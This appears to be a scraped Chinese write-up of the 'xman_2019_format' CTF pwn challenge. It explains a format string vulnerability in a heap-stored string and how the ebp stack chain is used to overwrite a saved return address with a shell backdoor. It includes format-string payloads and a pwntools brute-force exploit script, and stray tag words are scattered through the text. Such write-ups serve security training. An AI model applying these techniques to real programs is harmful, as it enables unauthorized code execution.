根據本題,學習與收穫有:node
printf
的字符串,若是是在堆上,那麼就沒法在棧上寫地址利用%x$hn
去修改printf
會一次性取出全部的偏移的地址,再去修改。不是邊寫邊修改!(結合調試過程理解!)ebp
寄存器會記錄一個棧地址鏈,因此能夠利用這一點特性,爆破修改這個棧地址鏈的最低字節,而後修改ebp
寄存器後4
個字節的內容,理想狀態下,爆破1
個字節便可,並且,全部的地址都是對齊到地址頁。層層套娃,終於走到了最後的處理函數。strtok
是字符串分割函數,分割的符號爲|
。python
漏洞點很清楚,就是函數sub_80485c4
中,將傳入的字符串使用|
分割後,直接調用printf
函數。很明顯的格式化字符串漏洞。可是這裏要注意:字符串存儲在堆上。因此,不能在棧上寫地址,而後利用棧的偏移來向任意地址寫。所以,只能藉助棧上已有的地址,往eip
寄存器裏面寫入目標地址。shell
注意到有一個後門函數:bash
只須要覆蓋爲這個函數的地址便可。函數
所以,本題利用的思路很清晰:學習
printf
肯定偏移測試
利用棧上的地址鏈,特別是ebp
地址鏈,修改中間某一個地址的最低字節,修改成存儲eip
寄存器內容的那個地址debug
將這個可能會被壓入eip
寄存器的地址的內容,修改成0x80475AB
3d
get_shell調試
本題須要一步步調試出來,首先測試一下偏移:
# 輸入:%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
輸入以前看一下棧:
這個調用鏈仍是很明顯的
執行完成打印出來的內容爲:
數一下,偏移爲10
。
這個時候須要結合棧圖整理一下思路:
0xffffceb8
地址處的內容爲0xffffce9c
,這裏須要修改最低的一個字節,偏移爲100xffffce9c
地址處的內容爲0x80485ab
,這裏只須要修改最低的兩個字節,偏移爲18很容易寫出最後的輸入應該爲:
%156c%10$hhn%34219c%18$hn
能夠調試一下,在printf
函數下個斷點,而後觀察一下0xfffceb8
的內容變化:
第一次命中斷點:
第二次命中斷點:
此處的值已經改變:
能夠看到,最低字節已經修改爲功。而後繼續執行printf
,看下0xffffce9c
是否是修改成目標值:
發現修改失敗了:
仍是修改的最初的0xffffcee8
的內容,並非去修改的0xffffce9c
的內容!這說明,printf
格式化執行的時候,首先把全部對應偏移的地址先取出來,而後再去修改!
題目中,有一個|
分割符,所以,只須要利用分割符分開輸入便可!
因此,最終的輸入爲:
%156c%10$hhn|%34219c%18$hn
執行了/bin/bash
實際上須要爆破最低的那個字節,因此最終的exp以下:
from pwn import * context.log_level='debug' for x in range(4, 0x100, 4): tar = '%' + str(x) + 'c%10$hhn|%34219c%18$hn' try: sh = process('./xman_2019_format') # sh = remote('node3.buuoj.cn', 27180) log.info('current low byte:{}'.format(hex(x))) sh.recv() sh.sendline(tar) sh.recv(timeout=1) sleep(1) sh.sendline('cat flag') sh.recvline_contains('flag', timeout=1) sh.interactive() except: sh.close()
遠程爆破過程爲: